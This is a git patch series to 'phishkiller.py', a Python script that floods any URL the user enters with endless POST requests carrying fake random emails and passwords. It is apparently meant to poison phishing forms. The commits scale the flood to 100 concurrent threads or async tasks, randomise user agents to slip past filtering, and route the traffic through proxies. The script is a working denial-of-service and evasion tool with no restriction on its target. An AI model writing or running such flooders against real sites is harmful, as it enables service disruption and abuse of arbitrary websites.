From 3dd990e0aecddc96d58f0b12b42006fabfd66bc1 Mon Sep 17 00:00:00 2001 From: toastinthetub Date: Sat, 29 Jun 2024 20:10:37 -0700 Subject: [PATCH 1/2] Enhance Website Stress Test Script with Async and Threading Options --- phishkiller.py | 79 ++++++++++++++++++++++++++++++++++---------------- 1 file changed, 54 insertions(+), 25 deletions(-) diff --git a/phishkiller.py b/phishkiller.py index acb9074..079c2fa 100644 --- a/phishkiller.py +++ b/phishkiller.py @@ -3,27 +3,25 @@ import random import string import names -import subprocess - +import asyncio +import aiohttp from fake_useragent import UserAgent +import time - - - -def name_gen():#Generates a random name for the email +def name_gen(): name_system = random.choice(["FullName", "FullFirstFirstInitial", "FirstInitialFullLast"]) first_name = names.get_first_name() last_name = names.get_last_name() - if name_system == "FullName":#JohnDoe + if name_system == "FullName": return first_name + last_name - elif name_system == "FullFirstFirstInitial":#JohnD + elif name_system == "FullFirstFirstInitial": return first_name + last_name[0] - return first_name[0] + last_name#JDoe + return first_name[0] + last_name def generate_random_email(): name = name_gen() - NumberOrNo=random.choice(["Number", "No"]) - domain = random.choice(["@gmail.com", "@yahoo.com", "@rambler.ru", "@protonmail.com", "@outlook.com", "@itunes.com"])#Popular email providers + NumberOrNo = random.choice(["Number", "No"]) + domain = random.choice(["@gmail.com", "@yahoo.com", "@rambler.ru", "@protonmail.com", "@outlook.com", "@itunes.com"]) if NumberOrNo == "Number": return name + str(random.randint(1, 100)) + domain else: @@ -32,26 +30,57 @@ def generate_random_email(): def generate_random_password(): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) -def send_posts(url): +async def send_posts_async(url): while True: - email = generate_random_email() - password = generate_random_password() - data = {"a": email, "az": password} - ua = UserAgent() - user_agent = ua.random - headers = {'User-Agent': user_agent} - response = requests.post(url, data=data, headers=headers,) - print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}, headers: {user_agent}") - -def main(): + try: + email = generate_random_email() + password = generate_random_password() + data = {"a": email, "az": password} + ua = UserAgent() + user_agent = ua.random + headers = {'User-Agent': user_agent} + async with aiohttp.ClientSession() as session: + async with session.post(url, data=data, headers=headers) as response: + print(f"Email: {email}, Password: {password}, Status Code: {response.status}, headers: {user_agent}") + except Exception as e: + print(f"An error occurred: {e}") + +async def main_async(): url = input("Enter the URL of the target you want to flood: ") - threads = [threading.Thread(target=send_posts, args=(url,), daemon=True) for _ in range(25)] + tasks = [send_posts_async(url) for _ in range(100)] + await asyncio.gather(*tasks) + +def send_posts(url): + while True: + try: + email = generate_random_email() + password = generate_random_password() + data = {"a": email, "az": password} + ua = UserAgent() + user_agent = ua.random + headers = {'User-Agent': user_agent} + response = requests.post(url, data=data, headers=headers) + print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}, headers: {user_agent}") + except Exception as e: + print(f"An error occurred: {e}") +def start_threading(url): + threads = [threading.Thread(target=send_posts, args=(url,), daemon=True) for _ in range(100)] for t in threads: t.start() - for t in threads: t.join() +def stress_test(): + method = input("Choose the method for stress testing (threading/asyncio): ").strip().lower() + url = input("Enter the URL of the target you want to flood: ") + + if method == "asyncio": + asyncio.run(main_async()) + elif method == "threading": + start_threading(url) + else: + print("Invalid method. Choose either 'threading' or 'asyncio'.") + if __name__ == "__main__": - main() + stress_test() From aa1da9efae2fdb42110224454800da13341640da Mon Sep 17 00:00:00 2001 From: toastinthetub Date: Sat, 29 Jun 2024 20:18:12 -0700 Subject: [PATCH 2/2] Update with Support for Proxies --- phishkiller.py | 28 +++++++++++++++------------- 1 file changed, 15 insertions(+), 13 deletions(-) diff --git a/phishkiller.py b/phishkiller.py index 079c2fa..ded538a 100644 --- a/phishkiller.py +++ b/phishkiller.py @@ -30,7 +30,7 @@ def generate_random_email(): def generate_random_password(): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) -async def send_posts_async(url): +async def send_posts_async(url, proxy): while True: try: email = generate_random_email() @@ -40,17 +40,16 @@ async def send_posts_async(url): user_agent = ua.random headers = {'User-Agent': user_agent} async with aiohttp.ClientSession() as session: - async with session.post(url, data=data, headers=headers) as response: - print(f"Email: {email}, Password: {password}, Status Code: {response.status}, headers: {user_agent}") + async with session.post(url, data=data, headers=headers, proxy=proxy) as response: + print(f"Email: {email}, Password: {password}, Status Code: {response.status}, headers: {user_agent}, proxy: {proxy}") except Exception as e: print(f"An error occurred: {e}") -async def main_async(): - url = input("Enter the URL of the target you want to flood: ") - tasks = [send_posts_async(url) for _ in range(100)] +async def main_async(url, proxy): + tasks = [send_posts_async(url, proxy) for _ in range(100)] await asyncio.gather(*tasks) -def send_posts(url): +def send_posts(url, proxies): while True: try: email = generate_random_email() @@ -59,13 +58,13 @@ def send_posts(url): ua = UserAgent() user_agent = ua.random headers = {'User-Agent': user_agent} - response = requests.post(url, data=data, headers=headers) - print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}, headers: {user_agent}") + response = requests.post(url, data=data, headers=headers, proxies=proxies) + print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}, headers: {user_agent}, proxy: {proxies}") except Exception as e: print(f"An error occurred: {e}") -def start_threading(url): - threads = [threading.Thread(target=send_posts, args=(url,), daemon=True) for _ in range(100)] +def start_threading(url, proxies): + threads = [threading.Thread(target=send_posts, args=(url, proxies), daemon=True) for _ in range(100)] for t in threads: t.start() for t in threads: @@ -74,11 +73,14 @@ def start_threading(url): def stress_test(): method = input("Choose the method for stress testing (threading/asyncio): ").strip().lower() url = input("Enter the URL of the target you want to flood: ") + proxy = input("Enter the proxy (e.g., http://proxyserver:port or leave blank for no proxy): ").strip() + + proxies = {"http": proxy, "https": proxy} if proxy else None if method == "asyncio": - asyncio.run(main_async()) + asyncio.run(main_async(url, proxy)) elif method == "threading": - start_threading(url) + start_threading(url, proxies) else: print("Invalid method. Choose either 'threading' or 'asyncio'.")